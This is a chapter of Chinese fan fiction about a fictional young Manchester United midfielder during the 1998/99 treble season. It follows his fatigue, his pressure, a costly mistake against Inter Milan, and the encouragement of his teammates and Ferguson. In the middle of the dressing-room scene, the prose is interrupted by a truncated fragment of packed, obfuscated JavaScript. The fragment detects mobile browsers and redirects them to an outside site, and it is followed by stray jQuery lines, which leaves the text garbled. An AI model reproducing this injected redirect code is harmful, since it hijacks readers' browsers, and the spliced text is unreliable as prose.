三冠王的可能性像一层薄金，涂抹在98/99赛季的每一场比赛上。


    媒体喋喋不休，球迷满怀憧憬，老特拉福德上空弥漫着一种近乎眩晕的期待。对于曼联这支年轻的队伍，尤其对于刚刚过完十八岁生日、被视为“新王储”的塞巴斯蒂安·格林格拉斯而言，这光环耀眼，却也滚烫。


    塞斯依旧在笑。


    训练场上，他依然是第一个用明亮笑容打招呼的人，在加里·内维尔抱怨天气时开玩笑，耐心陪新上调的小队员加练传球。他脸颊上的酒窝，灰蓝色眼睛里闪烁的温暖光芒，似乎从未改变。


    但有些东西，确实在变。


    “塞斯，传球！”


    一场对阵中游球队的普通联赛，塞斯在对方三十米区域接到斯科尔斯的传球。


    按照往常，他会抬头观察，然后送出一记撕裂防线的直塞，或者与吉格斯、科尔做一次精妙的撞墙配合。但这一次，他停球，转身，面对扑上来的防守队员，却罕见地犹豫了半拍。


    就是这半拍，对方后卫的脚到了，球被捅走，反击！


    看台上响起一阵轻微的嘘声，迅速被鼓励的掌声淹没，但那瞬间的失望，像一根细针，扎进了塞斯的耳膜。


    他迅速回追，最终和队友一起化解了险情。


    跑回位置时，他感到左腿后侧传来一丝熟悉的、令人心悸的紧绷感。不是剧痛，是预警。整个夏天几乎没有停歇的比赛——英超、欧冠、国家队U21的比赛，还有推不掉的商业活动——累积下的疲劳，开始向他的身体索取代价。


    更糟的是，他开始“想太多”。


    过去，传球是本能，是视野和脚法的自然延伸。现在，每次拿球前，他脑子里会无可避免的开始飞速闪过无数念头：这球传出去会不会被断？传吉格斯更好还是科尔？如果失误了，媒体会怎么写？球迷会不会失望？爵士会不会觉得我……


    “格林格拉斯！”场边，弗格森的吼声像鞭子一样抽过来，“醒醒！别像个老太太一样思考！”


    塞斯猛地一凛，酒窝瞬间消失。他咬紧牙关，强迫自己清空杂念。接下来的几分钟，他踢得简单直接，用两脚快速传递参与了进攻，最后由吉格斯完成破门。


    进球后，吉格斯跑向他，用力搂了搂他的脖子：“别理那些，就像我们小时候在克莱夫那样踢！”


    塞斯点点头，挤出一个笑容。但只有他自己知道，那份纯粹踢球的快乐，正被一种无形的重担挤压。


    赛后，理疗室的灯苍白冰冷。


    “肌肉疲劳，积累的。你需要休息，塞斯。”队医指着仪器上显示的数据，语气严肃，“不是一天两天，至少需要一轮完整的休整期。否则，上次的伤病位置很容易复发。”


    塞斯盯着自己的左腿，沉默着。


    休息？现在？联赛咬得最紧，欧冠进入淘汰赛关键阶段，足总杯也要一路往前。他是核心，是“大脑”，他怎么能休息？


    “我会注意，加强恢复。”他最终说，声音平静。


    队医叹了口气，没再说什么。他知道这孩子的倔强。


    更衣室里的气氛也有些微妙。胜利带来喜悦，但不再是上赛季那种毫无阴霾的狂喜。


    每个人都背负着期望。贝克汉姆因为场外的一些花边新闻和偶尔的状态波动，开始受到一些苛刻批评；基恩的严厉有时会让年轻球员喘不过气；就连最乐天的吉格斯，眉宇间也添了几道皱痕。


    塞斯依旧试图扮演那个“粘合剂”。


    他会给被基恩训斥后低落的菲利普·内维尔递一瓶水，拍拍他的肩膀；会在贝克汉姆加练任意球时，默默站在一旁帮他捡球；会在晚餐时讲个蹩脚的笑话，试图驱散餐桌上的沉默。


    但有时候，他感觉自己就像试图用一根手指堵住正在渗水的堤坝——疲惫和压力从四面八方涌来。


    一天训练后，加里·内维尔叫住了他。


    “去喝一杯？就我们俩。”


    他们没去常去的酒吧，而是找了家安静的咖啡馆。加里点了两杯热巧克力，看着窗外曼彻斯特阴沉的傍晚。


    “你最近不对劲，塞斯。”加里开门见山，他是92班里最像“大家长”的一个，观察细致。


    塞斯搅拌着杯子里的奶油，酒窝没有出现：“有点累而已，加里。赛季太长了。”


    “不只是累。”加里盯着他，“你在害怕。”


    这个词像一把钥匙，猝不及防地打开了塞斯一直试图紧闭的门。他握着杯子的手指微微收紧。


    “我怕让大家失望。”他终于低声说，目光落在桌面上，“怕我配不上……那些期待。怕我做不到埃里克能做到的事。甚至怕……”他顿了一下，声音更轻，“怕我根本没那么好，之前的一切只是运气。”


    加里沉默地听着，没有立刻安慰。


    良久，他才说：“知道吗？我们所有人都怕。我怕我守不住右路，大卫怕他的传中不再精准，瑞恩怕他过不了人了，保罗怕他的射门靴丢了。连罗伊……我打赌他怕自己不够强硬，镇不住更衣室。”


    塞斯抬起头，有些惊讶。


    “但我们还是一起在踢球，不是吗？”加里笑了笑，笑容里有属于他这个年纪的、罕见的深沉，“因为害怕是正常的，塞斯。不正常的是被害怕吞掉。坎通纳是传奇，但他也有踢得像狗屎的时候。我们不是要成为他，我们要成为我们自己——一支更好的、一起赢球的曼联。”


    他拍了拍塞斯的手背：“你已经做得够好了，小子。别把自己逼得太狠。你不是一个人扛着球队，我们都在。肩膀酸了，就靠过来。这才是兄弟。”


    塞斯感觉眼眶有些发热。他用力眨了眨眼，终于露出了一个这几天来最真实的、带着点释然的笑容，酒窝浅浅：“谢谢，加里。”


    “谢个屁。”加里端起杯子，“喝完，回家睡觉。明天训练别迟到。”


    然而，短暂的倾诉并不能立刻卸下所有重量。压力在最关键的节点爆发了。


    欧冠四分之一决赛对阵国际米兰，首回合客场，梅阿查球场。


    比赛从一开始就陷入惨烈的中场绞杀。国际米兰的防守凶狠且极具纪律性，他们用身体和战术犯规，不惜一切代价切割曼联的传球线路，重点照顾塞斯和斯科尔斯。


    塞斯踢得很挣扎。每一次拿球都伴随着剧烈的身体对抗，他的传球成功率在下降，几次试图带球突破也被断下。更让他烦躁的是，国际米兰球员的小动作和言语挑衅无处不在。


    “就这？英格兰的小王子？”一次拼抢后，对方后腰西蒙尼用意大利语在他耳边低声嘲讽，手肘隐蔽地顶着他的肋骨，“回家找妈妈哭吧。”


    塞斯血往上涌，但他记起了弗格森的警告，记起了基恩的“冷静”。


    他推开西蒙尼，没有回嘴，转身跑开。但那股怒气郁结在胸口，影响了他的判断。


    下半场第六十七分钟，曼联获得一次绝佳的反击机会。塞斯在中场拿球，面前有开阔地。他本该立刻分给右路高速插上的贝克汉姆，或者自己带球推进吸引防守后传给左路的吉格斯。


    但他看到了西蒙尼正从侧后方猛冲过来，意图犯规。一瞬间，那股被压抑的怒火和“必须证明自己”的执念攫住了他。他决定过掉西蒙尼，用一次漂亮的个人表演回击挑衅。


    他踩了个单车，试图从外侧突破。但西蒙尼经验老道，没有吃晃，直接一个凶狠且干净的铲断，将球留下，顺带将塞斯带倒在地。


    裁判示意比赛继续！国际米兰迅速发动反击，三传两递打到曼联禁区，由萨莫拉诺抢点破门！


    1:0！国际米兰领先！


    塞斯躺在草皮上，梅阿查山呼海啸的欢呼像冰水浇头。他看到的不是西蒙尼得意的脸，而是场边弗格森铁青的面孔，是贝克汉姆摊开的手，是吉格斯失望的眼神。


    还有自己那颗被虚荣和愤怒蒙蔽的、愚蠢的心。


    他犯错了。一个可能葬送整个赛季努力的低级错误。


    剩下的时间里，曼联奋力反扑，但未能扳平比分。终场哨响，0:1，客场失利，没有拿到宝贵的客场进球。


    回更衣室的通道里，死一般的寂静。塞斯低着头，感觉自己像个罪人。他能感觉到队友们沉重的呼吸，能感觉到那种无声的失望在空气中弥漫。


    更衣室里，基恩终于爆发了。


    “*****！”他一脚踢飞了一个水瓶，液体溅了一地，“我们踢得像个笑话！中场呢？传球呢？脑子呢？！”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070671|195205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >他的目光像刀子一样扫过中场几人，最终落在塞斯身上，停顿了几秒。那眼神里没有平时的严厉，而是一种深切的、几乎让塞斯无法承受的失望。


    “有些人，”基恩的声音压抑着怒火，“以为这是个人秀场吗？看清楚球衣上的队徽！这不是让你耍帅的地方！”


    塞斯的脸变得煞白，酒窝消失得无影无踪。他想解释，想说对不起，但喉咙像被堵住了，一个字也说不出来。


    弗格森走了进来，更衣室瞬间安静。他没有看任何人，只是走到战术板前，用笔重重敲了敲。


    “次回合，在老特拉福德。”他的声音不高，却带着千钧之力，“0:1不是世界末日。但我要看到一支真正的曼联，而不是一群被吓破胆或者自以为是的个体。”


    他没有点名，但每一句话都像鞭子抽在塞斯心上。


    那晚回到酒店房间，塞斯第一次没有和父亲或任何队友联系。他独自坐在黑暗里，看着窗外米兰的夜景，第一次对自己的能力产生了深刻的、冰冷的怀疑。也许加里说得对，他害怕。但也许，他的害怕是有道理的——他可能真的，还不够好。


    手机屏幕亮了一下，是斯科尔斯发来的信息，只有三个字：


    “还有次回合。”


    没有安慰，没有指责。只是陈述一个事实，一个机会。


    塞斯盯着那行字，看了很久。然后，他关掉手机，躺下，强迫自己闭上眼睛。


    他必须睡着。因为战斗还没有结束，而他，至少不能在战斗开始前，就先被自己击垮。


    回到曼彻斯特，质疑声果然如预料般涌来。媒体抓住他那次“鲁莽的盘带失误”大做文章，将他描述为“在重压下崩溃的天才”、“曼联三冠王梦碎的潜在导火索”。


    训练时，他能感觉到一些目光的变化。不是敌意，而是一种谨慎的观察。连平时最爱和他打闹的年轻队员，也变得小心翼翼。


    他变得更加沉默。训练依旧努力，甚至更拼命，但笑容少了很多。酒窝只有在面对92班那几个最熟悉的兄弟时，才会偶尔闪现，但也带着一丝挥之不去的阴霾。


    弗格森把他叫到了办公室。没有咆哮，只是让他坐下。


    “知道错在哪里了？”弗格森问。


    “不该粘球，该传球。”塞斯低声回答。


    “不对。”弗格森摇头，“错在你让情绪控制了判断。西蒙尼激怒了你，你上当了。一个顶级球员，最大的敌人往往是自己内心的魔鬼——骄傲、愤怒、恐惧。”


    他走到窗边，看着训练场：“我从不怀疑你的天赋，塞斯。我怀疑的是，你是否准备好承受与这份天赋相匹配的压力和孤独。这条路越往上走，陪你的人越少，能依靠的只有你自己。”


    塞斯抬起头，看着教练的背影。


    “次回合，”弗格森转过身，目光如炬，“我要你上场。不是要你救赎，是要你证明，你能从错误里爬起来。用你的脑子踢球，而不是你的情绪。能做到吗？”


    塞斯迎上他的目光，灰蓝色的眼睛里，之前的迷茫和脆弱被一种新的、更为冷硬的东西取代。他缓缓点头，酒窝没有出现，但眼神坚定。


    “能，boss。”


    走出办公室，他发现吉格斯和斯科尔斯靠在走廊墙上，显然在等他。


    “教练骂你了？”吉格斯问。


    “没有。”塞斯说，“他给了我机会。”


    “那就好。”斯科尔斯简洁地说，递给他一副干净的护腿板，“我的备用，你的好像旧了。”


    很平常的举动，却让塞斯心头一暖。他接过护腿板，终于露出了一个几天来最接近真实的笑容，虽然很浅：“谢谢，保罗。”


    吉格斯揽住他的肩膀：“走吧，加里说食堂今天有巧克力布丁，去晚了就没了。”


    走在去食堂的路上，塞斯看着身边这两个一路走来的兄弟，看着远处训练场上奔跑的红色身影，那股沉重的压力似乎松动了一些。


    光环很重，前路很艰。


    但他不是一个人。他犯了错，但还没出局。


    次回合在老特拉福德，一切，都还可以赢回来。


    而他要做的，就是找回那个最初踢球时，纯粹、专注、无所畏惧的自己。